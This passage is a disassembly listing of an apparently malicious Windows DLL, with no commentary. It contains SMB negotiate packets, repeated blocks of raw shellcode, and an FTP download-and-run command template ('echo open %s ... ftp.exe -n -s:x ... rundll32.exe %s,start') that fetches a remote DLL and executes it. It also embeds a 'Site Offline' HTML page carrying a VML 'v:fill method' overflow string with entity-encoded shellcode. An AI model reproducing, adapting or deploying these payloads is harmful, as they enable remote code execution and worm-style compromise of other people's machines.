		extrn inet_addr:dword	; CODE XREF: sub_10005A70+21p
					; sub_10005C3D+307p ...
; int __stdcall	getsockname(SOCKET s,struct sockaddr *name,int *namelen)
		extrn getsockname:dword	; CODE XREF: sub_10004C83+1Cp
					; DATA XREF: sub_10004C83+1Cr
; struct hostent *__stdcall gethostbyaddr(const	char *addr,int len,int type)
		extrn gethostbyaddr:dword ; CODE XREF: sub_1000495F+Cp
					; DATA XREF: sub_1000495F+Cr
; struct hostent *__stdcall gethostbyname(const	char *name)
		extrn gethostbyname:dword ; CODE XREF: sub_10004763+8p
					; DATA XREF: sub_10004763+8r
; int __stdcall	WSAStartup(WORD	wVersionRequested,LPWSADATA lpWSAData)
		extrn WSAStartup:dword	; CODE XREF: start+18Bp
					; DATA XREF: start+18Br
; int __stdcall	sendto(SOCKET s,const char *buf,int len,int flags,const	struct sockaddr	*to,int	tolen)
		extrn sendto:dword	; CODE XREF: sub_10003D60+CCp
					; sub_10003D60+100p ...
; int __stdcall	bind(SOCKET s,const struct sockaddr *name,int namelen)
		extrn bind:dword	; CODE XREF: sub_1000329E+B3p
					; sub_10005C3D+103p ...
; int __stdcall	listen(SOCKET s,int backlog)
		extrn listen:dword	; CODE XREF: sub_1000329E+CEp
					; sub_10005C3D+133p ...
; int __stdcall	ioctlsocket(SOCKET s,__int32 cmd,u_long	*argp)
		extrn ioctlsocket:dword	; CODE XREF: sub_1000329E+F0p
					; sub_1000329E+624p ...
; SOCKET __stdcall accept(SOCKET s,struct sockaddr *addr,int *addrlen)
		extrn accept:dword	; CODE XREF: sub_1000329E+261p
					; sub_10005C3D+2C7p ...
; int __stdcall	WSAGetLastError()
		extrn WSAGetLastError:dword ; CODE XREF: sub_100030D9+186p
					; sub_10005AE8+10Cp
					; DATA XREF: ...
; SOCKET __stdcall socket(int af,int type,int protocol)
		extrn socket:dword	; CODE XREF: sub_10001EBF+11Dp
					; sub_1000329E+8Ap ...
; u_short __stdcall htons(u_short hostshort)
		extrn htons:dword	; CODE XREF: sub_10001EBF+13Dp
					; sub_1000329E+5Ap ...
; int __stdcall	connect(SOCKET s,const struct sockaddr *name,int namelen)
		extrn connect:dword	; CODE XREF: sub_10001EBF+176p
					; sub_10003D60+99p ...
; int __stdcall	closesocket(SOCKET s)
		extrn closesocket:dword	; CODE XREF: sub_10001EBF+19Fp
					; sub_10002157+1FBp ...
; u_long __stdcall htonl(u_long	hostlong)
		extrn htonl:dword	; CODE XREF: sub_10001991+8p
					; DATA XREF: sub_10001991+8r
; int __stdcall	send(SOCKET s,const char *buf,int len,int flags)
		extrn send:dword	; CODE XREF: sub_10001991+1Dp
					; sub_10001991+3Ap ...
; int __stdcall	select(int nfds,fd_set *readfds,fd_set *writefds,fd_set	*exceptfds,const struct	timeval	*timeout)
		extrn select:dword	; CODE XREF: sub_1000180B+145p
					; sub_1000329E+1DBp ...
; int __stdcall	__WSAFDIsSet(SOCKET fd,fd_set *)
		extrn __imp___WSAFDIsSet:dword ; DATA XREF: __WSAFDIsSetr
; int __stdcall	recv(SOCKET s,char *buf,int len,int flags)
		extrn recv:dword	; CODE XREF: sub_1000180B+17Cp
					; sub_1000329E+360p ...


; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 1000C218h
dbl_1000C218	dq 7.2e1		; DATA XREF: sub_10001C45+4Ar
dbl_1000C220	dq 6.0			; DATA XREF: sub_10001C45+19r
					; .text:10001D5Fr
dbl_1000C228	dq 8.0			; DATA XREF: .text:10001D59r
byte_1000C230	db 0Ah			; DATA XREF: sub_1000504C+FCr
					; sub_1000504C+112o
aXh7Wj7		db 'xh7}`wj7{|',0
		dd 1FDh	dup(0)
dword_1000CA30	dd 2B292B04h, 28h, 1Eh dup(0) ;	DATA XREF: sub_1000504C+25o
dword_1000CAB0	dd 20h dup(0)		; DATA XREF: sub_1000504C+41o
aZuvj		db 7,':zuvj|:',0        ; DATA XREF: sub_1000504C+5Do
		align 4
		dd 1Dh dup(0)
dword_1000CBB0	dd 20h dup(0)		; DATA XREF: sub_1000504C+79o
dword_1000CC30	dd 33593303h, 1Fh dup(0) ; DATA	XREF: sub_1000504C+95o
aZuvj_0		db 8,':zuvj|:(',0       ; DATA XREF: sub_1000504C+B1o
		align 4
		dd 1Dh dup(0)
aNpwfju7A	db 0Bh,'npwFju+7|a|',0  ; DATA XREF: sub_1000504C+CDo
		align 10h
		dd 1Ch dup(0)
; char a7xoaredq6lsnv6[]
a7xoaredq6lsnv6	db '7XoarEdQ6LsNv624U2PBS4Eyx7S5WzhL7gw3am4ZYt7w1AI4cGXjANm227bWe26t',0
					; DATA XREF: sub_1000504C+4o
					; sub_1000504C+20o ...
		align 8
stru_1000CDF8	dd 19930520h		; Magic	; DATA XREF: .text:loc_1000BC72o
		dd 2			; Count
		dd offset stru_1000CDF8.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset sub_1000BC5A	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1000BC50	; Info.Proc
		dd 0D090h, 2 dup(0)
		dd 0D0F4h, 0C1B4h, 0D050h, 2 dup(0)
		dd 0D110h, 0C174h, 0CEDCh, 2 dup(0)
		dd 0D170h, 0C000h, 0D06Ch, 2 dup(0)
		dd 0D218h, 0C190h, 0D058h, 2 dup(0)
		dd 0D272h, 0C17Ch, 0CF90h, 2 dup(0)
		dd 0D4E0h, 0C0B4h, 0CFBCh, 2 dup(0)
		dd 0D626h, 0C0E0h, 0CEF4h, 2 dup(0)
		dd 0D8FEh, 0C018h, 5 dup(0)
		dd 0D13Ah, 0D15Eh, 0D14Ch, 0D12Ch, 0D11Ch, 0
		dd 0D8AEh, 0D89Ch, 0D88Ch, 0D87Eh, 0D86Ch, 0D858h, 0D848h
		dd 0D83Ch, 0D826h, 0D81Ah, 0D8CAh, 0D7EEh, 0D7DEh, 0D7CAh
		dd 0D7BAh, 0D7AAh, 0D79Ah, 0D784h, 0D76Eh, 0D75Ch, 0D74Ah
		dd 0D8DEh, 0D8ECh, 0D67Eh, 0D66Eh, 0D804h, 0D73Ch, 0D72Ah
		dd 0D71Eh, 0D70Ch, 0D6FCh, 0D6E2h, 0D6CAh, 0D6BEh, 0D6A8h
		dd 0D69Ah, 0D68Ch, 0D666h, 0
		dd 0D4C8h, 0D27Eh, 0D2C8h, 0D318h, 0D36Eh, 0D3C4h, 0D414h
		dd 0D470h, 0D490h, 0D4B0h, 0
		dd 0D548h, 0D90Ch, 0D4ECh, 0D4F6h, 0D500h, 0D50Ah, 0D514h
		dd 0D51Ch, 0D524h, 0D52Ch, 0D534h, 0D918h, 0D558h, 0D564h
		dd 0D56Eh, 0D578h, 0D582h, 0D58Ch, 0D596h, 0D59Eh, 0D5A8h
		dd 0D5B2h, 0D5BAh, 0D5C2h, 0D5CCh, 0D5DEh, 0D5E6h, 0D5F0h
		dd 0D5F8h, 0D602h, 0D610h, 0D61Eh, 0D632h, 0D640h, 0D64Ah
		dd 0D656h, 0
		dd 0D100h, 0
		dd 0D236h, 0D224h, 0D24Ah, 0D25Eh, 0
		dd 0D1F0h, 0D204h, 0D1CCh, 0D1B6h, 0D1A6h, 0D192h, 0D17Eh
		dd 0D1E0h, 0
		dd 8000000Fh, 8000000Ch, 80000015h, 8000000Eh, 8000000Bh
		dd 80000006h, 80000033h, 80000034h, 80000073h, 80000014h
		dd 80000002h, 8000000Dh, 8000000Ah, 80000001h, 8000006Fh
		dd 80000017h, 80000009h, 80000004h, 80000003h, 80000008h
		dd 80000013h, 80000012h, 80000097h, 80000010h, 0
aWs2_32_dll	db 'WS2_32.dll',0
		align 10h
aR		db 'r',0
aShellexecutea	db 'ShellExecuteA',0
aShell32_dll	db 'SHELL32.dll',0
		db '×',0
aGetusernamea	db 'GetUserNameA',0
		align 4
		dd 6552015Bh, 6F6C4367h, 654B6573h, 1860079h, 53676552h
		dd 61567465h, 4565756Ch, 4178h,	6552015Fh, 65724367h, 4B657461h
		dd 78457965h, 1640041h,	44676552h, 74656C65h, 6C615665h
		dd 416575h, 41564441h, 32334950h, 6C6C642Eh, 770000h, 65746E49h
		dd 74656E72h, 64616552h, 656C6946h, 710000h, 65746E49h
		dd 74656E72h, 6E65704Fh, 416C7255h, 6F0000h, 65746E49h
		dd 74656E72h, 6E65704Fh, 560041h, 65746E49h, 74656E72h
		dd 736F6C43h, 6E614865h, 656C64h, 6E490088h, 6E726574h
		dd 72577465h, 46657469h, 656C69h, 74460026h, 65704F70h
		dd 6C69466Eh, 4165h, 6E49005Ah,	6E726574h, 6F437465h, 63656E6Eh
		dd 4174h, 6E49005Ch, 6E726574h,	72437465h, 556B6361h, 416C72h
		dd 494E4957h, 2E54454Eh, 6C6C64h, 65470110h, 79654B74h
		dd 656D614Eh, 74786554h, 1B60041h, 5670614Dh, 75747269h
		dd 654B6C61h, 41784579h, 1130000h, 4B746547h, 6F627965h
		dd 4C647261h, 756F7961h, 0E30074h, 41746547h, 636E7973h
		dd 5379654Bh, 65746174h, 53550000h, 32335245h, 6C6C642Eh
		dd 0E90000h, 3F313F3Fh,	73616224h, 735F6369h, 6E697274h
		dd 55444067h, 6863243Fh, 745F7261h, 74696172h, 40444073h
		dd 40647473h, 243F5640h, 6F6C6C61h, 6F746163h, 40444072h
		dd 73404032h, 40406474h, 40454151h, 5A58h, 3F3F0047h, 62243F30h
		dd 63697361h, 7274735Fh, 40676E69h, 243F5544h, 72616863h
		dd 6172745Fh, 40737469h, 74734044h, 56404064h, 6C61243Fh
		dd 61636F6Ch, 40726F74h, 40324044h, 64747340h, 41514040h
		dd 42414045h, 40313056h, 5A40h,	613F0410h, 6E657070h, 243F4064h
		dd 69736162h, 74735F63h, 676E6972h, 3F554440h, 61686324h
		dd 72745F72h, 73746961h, 73404440h, 40406474h, 61243F56h
		dd 636F6C6Ch, 726F7461h, 32404440h, 74734040h, 51404064h
		dd 41414541h, 40323156h, 40444250h, 40E005Ah, 7070613Fh
		dd 40646E65h, 6162243Fh, 5F636973h, 69727473h, 4440676Eh
		dd 63243F55h, 5F726168h, 69617274h, 44407374h, 64747340h
		dd 3F564040h, 6C6C6124h, 7461636Fh, 4440726Fh, 40403240h
		dd 40647473h, 45415140h, 31564141h, 44494032h, 5A40h, 723F071Bh
		dd 72657365h, 3F406576h, 73616224h, 735F6369h, 6E697274h
		dd 55444067h, 6863243Fh, 745F7261h, 74696172h, 40444073h
		dd 40647473h, 243F5640h, 6F6C6C61h, 6F746163h, 40444072h
		dd 73404032h, 40406474h, 58454151h, 5A4049h, 3F3F0049h
		dd 62243F30h, 63697361h, 7274735Fh, 40676E69h, 243F5544h
		dd 72616863h, 6172745Fh, 40737469h, 74734044h, 56404064h
		dd 6C61243Fh, 61636F6Ch, 40726F74h, 40324044h, 64747340h
		dd 41514040h, 42414045h, 61243F56h, 636F6C6Ch, 726F7461h
		dd 31404440h, 5A4040h, 3F3F009Eh, 696E4930h, 6F694074h
		dd 61625F73h, 73406573h, 40406474h, 40454151h, 5A58h, 3F3F0109h
		dd 696E4931h, 6F694074h, 61625F73h, 73406573h, 40406474h
		dd 40454151h, 5A58h, 3F3F00A5h,	69575F30h, 4074696Eh, 40647473h
		dd 45415140h, 5A5840h, 3F3F010Dh, 69575F31h, 4074696Eh
		dd 40647473h, 45415140h, 5A5840h, 4356534Dh, 2E303650h
		dd 6C6C64h, 747302BEh, 6E656C72h, 2970000h, 636D656Dh
		dd 7970h, 656D0299h, 7465736Dh,	2910000h, 6C6C616Dh, 636Fh
		dd 7266025Eh, 6565h, 6C660255h,	726F6Fh, 665F00F1h, 6C6F74h
		dd 65630241h, 6C69h, 5F5F0049h,	46787843h, 656D6172h, 646E6148h
		dd 72656Ch, 655F00C5h, 6874646Eh, 64616572h, 7865h, 735F01AEh
		dd 6972706Eh, 66746Eh, 747302BFh, 61636E72h, 2C70074h
		dd 74727473h, 6B6Fh, 747302C1h,	70636E72h, 2B80079h, 63727473h
		dd 706Dh, 747302C5h, 72747372h,	2B40000h, 6E617273h, 24C0064h
		dd 6F6C6366h, 6573h, 77660266h,	65746972h, 2570000h, 65706F66h
		dd 2A6006Eh, 646E6172h,	2B50000h, 61637373h, 666Eh, 625F00A6h
		dd 6E696765h, 65726874h, 78656461h, 2490000h, 74697865h
		dd 2C90000h, 74727473h,	6C756Fh, 7461023Dh, 696Fh, 747302B6h
		dd 74616372h, 1E10000h,	6E73765Fh, 6E697270h, 6674h, 735F01B9h
		dd 74696C70h, 68746170h, 23E0000h, 6C6F7461h, 534D0000h
		dd 54524356h, 6C6C642Eh, 550000h, 6C645F5Fh, 656E6F6Ch
		dd 746978h, 6F5F0186h, 6978656Eh, 10F0074h, 696E695Fh
		dd 72657474h, 9D006Dh, 6A64615Fh, 5F747375h, 76696466h
		dd 2960000h, 65656C53h,	4A0070h, 61657243h, 68546574h
		dd 64616572h, 1B0000h, 736F6C43h, 6E614865h, 656C64h, 65470112h
		dd 6C694674h, 7A695365h, 340065h, 61657243h, 69466574h
		dd 41656Ch, 6547010Dh, 6C694674h, 74744165h, 75626972h
		dd 41736574h, 900000h, 646E6946h, 736F6C43h, 8A0065h, 656C6946h
		dd 656D6954h, 79536F54h, 6D657473h, 656D6954h, 890000h
		dd 656C6946h, 656D6954h, 6F4C6F54h, 466C6163h, 54656C69h
		dd 656D69h, 6946009Dh, 654E646Eh, 69467478h, 41656Ch, 69460094h
		dd 6946646Eh, 46747372h, 41656C69h, 2180000h, 64616552h
		dd 656C6946h, 26A0000h,	46746553h, 50656C69h, 746E696Fh
		dd 7265h, 7845007Eh, 68547469h,	64616572h, 16E0000h, 54746547h
		dd 46656D69h, 616D726Fh, 4174h,	654700FBh, 74614474h, 726F4665h
		dd 4174616Dh, 1240000h,	4D746547h, 6C75646Fh, 6C694665h
		dd 6D614E65h, 4165h, 615702CEh,	6F467469h, 6E695372h, 4F656C67h
		dd 63656A62h, 3F0074h, 61657243h, 754D6574h, 41786574h
		dd 16D0000h, 54746547h,	436B6369h, 746E756Fh, 2640000h
		dd 45746553h, 726F7272h, 65646F4Dh, 0CE0000h, 43746547h
		dd 75706D6Fh, 4E726574h, 41656D61h, 1750000h, 56746547h
		dd 69737265h, 78456E6Fh, 18D0041h, 626F6C47h, 654D6C61h
		dd 79726F6Dh, 74617453h, 7375h,	65470159h, 73795374h, 446D6574h
		dd 63657269h, 79726F74h, 280041h, 79706F43h, 656C6946h
		dd 2680041h, 46746553h,	41656C69h, 69727474h, 65747562h
		dd 4173h, 725702DFh, 46657469h,	656C69h, 65470165h, 6D655474h
		dd 74615070h, 4168h, 65470163h,	6D655474h, 6C694670h, 6D614E65h
		dd 4165h, 6547011Ch, 636F4C74h,	49656C61h, 416F666Eh, 570000h
		dd 656C6544h, 69466574h, 41656Ch, 725001FEh, 7365636Fh
		dd 4E323373h, 747865h, 725001FCh, 7365636Fh, 46323373h
		dd 74737269h, 4C0000h, 61657243h, 6F546574h, 65686C6Fh
		dd 3233706Ch, 70616E53h, 746F6873h, 29E0000h, 6D726554h
		dd 74616E69h, 6F725065h, 73736563h, 1EF0000h, 6E65704Fh
		dd 636F7250h, 737365h, 6554029Fh, 6E696D72h, 54657461h
		dd 61657268h, 454B0064h, 4C454E52h, 642E3233h, 6C6Ch, 735F01C1h
		dd 63697274h, 706Dh, 695F0134h,	616F74h, 0
aLf		db 'ÒÆ‹F',0
		align 4
aR_0		db 'RÙ',0
		align 10h
		dd 3 dup(1), 0D948h, 0D94Ch, 0D950h, 420Dh, 0D95Bh, 6F6E0000h
		dd 642E6570h, 73006C6Ch, 74726174h, 1A8h dup(0)
_rdata		ends

; Section 3. (virtual address 0000E000)
; Virtual size			: 0001F174 ( 127348.)
; Section size in file		: 00005000 (  20480.)
; Offset to raw	data for section: 0000E000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 1000E000h
dword_1000E000	dd 0			; DATA XREF: _CRT_INIT(x,x,x)+4Fo
		dd offset sub_10002083
		dd offset sub_100020C4
		dd offset sub_10003CD2
		dd offset sub_10003D13
		dd offset sub_10004153
		dd offset sub_10004194
		dd offset sub_100052FD
		dd offset sub_1000533E
		dd offset sub_10005814
		dd offset sub_10005855
		dd offset sub_100059EC
		dd offset sub_10005A2D
		dd offset sub_10006893
		dd offset sub_100068D4
		dd offset sub_10006920
		dd offset sub_10006961
		dd offset sub_10006F20
		dd offset sub_10006F61
		dd offset sub_10009830
		dd offset sub_10009871
		dd offset sub_10009AA0
		dd offset sub_10009AE1
		dd offset sub_1000A6D0
		dd offset sub_1000A711
		dd offset sub_1000AC30
		dd offset sub_1000AC71
		dd offset sub_1000B0A0
		dd offset sub_1000B0E1
dword_1000E074	dd 3 dup(0)		; DATA XREF: _CRT_INIT(x,x,x)+4Ao
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_10001433+CAo
		align 4
dword_1000E08C	dd 10FF8h, 0		; DATA XREF: sub_10001433+86o
dword_1000E094	dd 10FF8h		; DATA XREF: sub_10001433+95o
dword_1000E098	dd 7FFDF020h, 0		; DATA XREF: sub_10001433+194o
dword_1000E0A0	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_100019DF+14Do
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
aLanman1_0	db 'LANMAN1.0',0
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
aLm1_2x002	db 'LM1.2X002',0
		dw 4C02h
aAnman2_1	db 'ANMAN2.1',0
		db 2, 4Eh, 54h
aLm0_12		db ' LM 0.12',0
		align 4
dword_1000E128	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_100019DF+5Fo
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_1000E158	dd 0			; DATA XREF: sub_100019DF+A6o
		dd 800000D4h, 0
; char buf[]
buf		db '',0                ; DATA XREF: sub_10001BDB+Ao
		dw 4400h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
byte_1000E1B0	db 41h			; DATA XREF: .text:10001E2Ar
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4
aSvwfbA		db 'SVWfì€',0          ; DATA XREF: sub_10001EBF+DEo
aIcsa		db '‰æèí',0
		db 2 dup(0), 0FFh
		dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h
		dd 6B680476h, 0E8CA2BD0h, 0E2h,	0E80C4689h, 3Fh, 680476FFh
		dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h
		dd 0B9C78910h, 410h, 315EA4F3h,	505050C0h, 0FF505053h
		dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh,	23E8h
		dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h
		dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h,	0FF64D231h
		dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh
		dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h,	8B7FFDF0h
		dd 8468B1Fh, 7F8B0789h,	78C781F8h, 89000001h, 741939F9h
		dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh,	891189F6h
		dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh
		dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h
		dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h
		dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h
		dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh
		dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0
dword_1000E35C	dd 0F254C481h, 0E8FCFFFFh, 46h,	8B3C458Bh, 178057Ch, 184F8BEFh
					; DATA XREF: sub_10001EBF+52o
		dd 1205F8Bh, 492EE3EBh,	18B348Bh, 99C031EEh, 74C084ACh
		dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
		dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
		dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
		dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
		dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
dword_1000E3EC	dd 23h			; DATA XREF: sub_100013AB+2Do
; char dword_1000E3F0[]
dword_1000E3F0	dd 909006EBh, 90909090h, 0 ; DATA XREF:	sub_10001433+107o
; char aCccc[]
aCccc		db 'CCCC',0             ; DATA XREF: sub_10001433+185o
		align 4
dword_1000E404	dd 3			; DATA XREF: sub_10001433+29Co
; char dword_1000E408[]
dword_1000E408	dd 0A1h			; DATA XREF: sub_10001433+30Bo
; char dword_1000E40C[]
dword_1000E40C	dd 30h			; DATA XREF: sub_10001433+338o
; char dword_1000E410[]
dword_1000E410	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_10001433+365o
; char dword_1000E41C[]
dword_1000E41C	dd 60h			; DATA XREF: sub_10001433+392o
; char Format[]
Format		db '%s.dll',0           ; DATA XREF: sub_10001EBF+6Co
		align 4
; char aCmd_exeCEchoOp[]
aCmd_exeCEchoOp	db 'cmd.exe /C echo open %s %hu>x&echo user x x>>x&echo bin>>x&echo g'
					; DATA XREF: sub_10001EBF+A0o
		db 'et %s>>x&echo bye>>x&ftp.exe -n -s:x&del x&rundll32.exe %s,start',0
		align 4
aP:
		unicode	0, <P>,0
		dd 0F254C481h, 0E8FCFFFFh, 46h,	8B3C458Bh, 178057Ch, 184F8BEFh
		dd 1205F8Bh, 492EE3EBh,	18B348Bh, 99C031EEh, 74C084ACh
		dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
		dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
		dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
		dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
		dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
		dd 0F254C481h, 0E8FCFFFFh, 46h,	8B3C458Bh, 178057Ch, 184F8BEFh
		dd 1205F8Bh, 492EE3EBh,	18B348Bh, 99C031EEh, 74C084ACh
		dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
		dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
		dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
		dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
		dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
		dd 0F254C481h, 0E8FCFFFFh, 46h,	8B3C458Bh, 178057Ch, 184F8BEFh
		dd 1205F8Bh, 492EE3EBh,	18B348Bh, 99C031EEh, 74C084ACh
		dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
		dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
		dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
		dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
		dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
		dd 0F254C481h, 0E8FCFFFFh, 46h,	8B3C458Bh, 178057Ch, 184F8BEFh
		dd 1205F8Bh, 492EE3EBh,	18B348Bh, 99C031EEh, 74C084ACh
		dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
		dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
		dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
		dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
		dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
		dd 0F254C481h, 0E8FCFFFFh, 46h,	8B3C458Bh, 178057Ch, 184F8BEFh
		dd 1205F8Bh, 492EE3EBh,	18B348Bh, 99C031EEh, 74C084ACh
		dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
		dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
		dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
		dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
		dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
		dd 0F254C481h, 0E8FCFFFFh, 46h,	8B3C458Bh, 178057Ch, 184F8BEFh
		dd 1205F8Bh, 492EE3EBh,	18B348Bh, 99C031EEh, 74C084ACh
		dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
		dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
		dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
		dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
		dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
		dd 0F254C481h, 0E8FCFFFFh, 46h,	8B3C458Bh, 178057Ch, 184F8BEFh
		dd 1205F8Bh, 492EE3EBh,	18B348Bh, 99C031EEh, 74C084ACh
		dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
		dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
		dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
		dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
		dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
; char aS_5[]
aS_5		db '\%s',0              ; DATA XREF: sub_10002157+3Co
; char aSS[]
aSS		db '%s%s',0             ; DATA XREF: sub_10002157+195o
		align 4
; char Delim[]
Delim:					; DATA XREF: sub_10002157+1AFo
		dw 0Ah
		unicode	0, <>,0
; char Source[]
Source:					; DATA XREF: sub_10002157+235o
		unicode	0, <*>,0
; char asc_1000E8B4[]
asc_1000E8B4:				; DATA XREF: sub_100024A5+5Do
		dw 0Ah
		unicode	0, <>,0
; char aHead[]
aHead		db '<head>',0Dh,0Ah,0   ; DATA XREF: sub_100024A5+91o
		align 4
; char aTitleSiteOffli[]
aTitleSiteOffli	db '<title>Site Offline.</title>',0Dh,0Ah,0 ; DATA XREF: sub_100024A5+F6o
		align 4
; char aStyle[]
aStyle		db '<style>',0Dh,0Ah,0  ; DATA XREF: sub_100024A5+133o
		align 10h
; char aVBehaviorUrlDe[]
aVBehaviorUrlDe	db 'v:* { behavior: url(#default#VML); }',0Dh,0Ah,0
					; DATA XREF: sub_100024A5+170o
		align 4
; char aStyle_0[]
aStyle_0	db '</style>',0Dh,0Ah,0 ; DATA XREF: sub_100024A5+1ADo
		align 4
; char aHead_0[]
aHead_0		db '</head>',0Dh,0Ah,0  ; DATA XREF: sub_100024A5+1EAo
		align 10h
; char aBody[]
aBody		db '<body>',0Dh,0Ah,0   ; DATA XREF: sub_100024A5+227o
		align 4
; char aVFillMethodAaa[]
aVFillMethodAaa	db '<v:fill method=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
					; DATA XREF: sub_100024A5+264o
		db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db 'AAAAAAAAAAAAAAA쳝砀邐邐邐邐&#'
		db '37008;邐邐邐邐邐邐邐'
		db '6459;澾潯买澿〰佰㥃'
		db '011;䯻㎀㧮ﱳ폿潮ğ'
		db '83;䬇뇮侊깥ਰ'
		db '2;敃ᥥڷ&'
		db '#5900;膆蛮鲛莂ᆺ篸8'
		db '838;淮츂㉥캄ᆽᝪ'
		db '5;닭삏⦋雪�븮'
		db ';붾뺹렑旾븲ᆽ&'
		db '#47121;뿢斸튛驥雀ᯭ斸'
		db '2888;ᯭ⟝꾧�﹐‘'
		db '48;┯긴ἅছ新&'
		db '#51888;㏭斈ꗢ끥攳旪&#'
		db '11245;끅⶷렆ᄑ怑⼂'
		db '67;癖搐郠శ�쇴㎞'
		db ';纖繾繾繾繾繾繾繾'
		db '繾繾繾繾敾渲〰遰/'
		db '>',0Dh,0Ah,0
